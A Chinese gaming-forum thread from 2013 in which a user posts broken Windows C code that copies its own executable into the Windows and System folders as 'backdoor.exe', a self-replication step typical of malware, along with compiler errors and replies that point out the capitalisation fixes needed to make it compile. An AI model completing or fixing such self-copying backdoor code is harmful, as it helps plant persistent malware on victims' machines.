球高手大神指点我介个程序,有错误。C语言
dnf阿修罗吧
全部回复
仅看楼主
level 12
凯尔先生 楼主
#include<windows.h>void copyself(){char szselfname[max_path]={0};char szwindowspath[max_path]={0};char szsystempath[max_path]={0};char sztmppath[max_path]={0};getmodulefilename(null,szselfname,max_path);getwindowsdirectory(szsystempath,max_path);getsystemdirectory(szsystempath,max_path);strcat(szwindowspath,"\\backdoor.exe)";strcat(szsystempath,"\\backdoor.exe)";copyfile(szselfname,szsystempath,false);copyfile(szselfname,szwindowspath,false);}
2013年07月14日 14点07分 1
level 12
凯尔先生 楼主
#include<windows.h>
void copyself()
{char szselfname[max_path]={0};
char szwindowspath[max_path]={0};
char szsystempath[max_path]={0};
char sztmppath[max_path]={0};
getmodulefilename(null,szselfname,max_path);
getwindowsdirectory(szsystempath,max_path);
getsystemdirectory(szsystempath,max_path);
strcat(szwindowspath,"\\backdoor.exe)";
strcat(szsystempath,"\\backdoor.exe)";
copyfile(szselfname,szsystempath,false);
copyfile(szselfname,szwindowspath,false);}
度娘坑爹
2013年07月14日 14点07分 2
level 12
凯尔先生 楼主
\12.cpp(3) : error C2065: 'max_path' : undeclared identifier
\12.cpp(3) : error C2057: expected constant expression
\12.cpp(3) : error C2466: cannot allocate an array of constant size 0
\12.cpp(4) : error C2057: expected constant expression
\12.cpp(4) : error C2466: cannot allocate an array of constant size 0
\12.cpp(5) : error C2057: expected constant expression
\12.cpp(5) : error C2466: cannot allocate an array of constant size 0
12.cpp(6) : error C2057: expected constant expressionD:\MSDev98\MyProjects\copy
\12.cpp(6) : error C2466: cannot allocate an array of constant size 0
\12.cpp(7) : error C2065: 'getmodulefilename' : undeclared identifier
\12.cpp(7) : error C2065: 'null' : undeclared identifierD:\MSDev98\MyProjects\cop\12.cpp(8) : error C2065: 'getwindowsdirectory' : undeclared identifier
\12.cpp(9) : error C2065: 'getsystemdirectory' : undeclared identifier
\12.cpp(10) : error C2143: syntax error : missing ')' before ';'
\12.cpp(11) : error C2143: syntax error : missing ')' before ';'D\12.cpp(12) : error C2065: 'copyfile' : undeclared identifier
错误好多
2013年07月14日 14点07分 3
前几个是说max_path未定义,就是你没有声明这个是多大,也就是没有定义这个的数值,记得引用的头文件中有一个MAX_PATH吧,要大写把,我也记不清了,没有就要自己定义下
2013年07月14日 15点07分
getsystemdirectory这个是系统的api函数,vc是区分大小写的,这个不能识别是由于你没有用对适当的大小写变换,记得似乎是GetSystemDirectory,上面的函数也一样……记不清了,其实查下MSDN就知道了,平时也没怎么记的。
2013年07月14日 15点07分
null似乎也要大写
2013年07月14日 15点07分
回复 决断的果断 :明白了
2013年07月14日 15点07分
level 9
挨踢男[哈哈]
2013年07月14日 15点07分 4
level 16
程序猿
2013年07月14日 15点07分 5
level 12
豪--------------------------来自dnf阿修罗吧计划生育办公室。
2013年07月14日 15点07分 6
level 11
数组长度不能为0
2013年07月14日 15点07分 7
level 11
主要还是未初始化
2013年07月14日 15点07分 8
level 1
MAP_PATH是个宏定义,然后就是GetModuleFileName等Windows api书写不正确
2014年01月29日 10点01分 9
1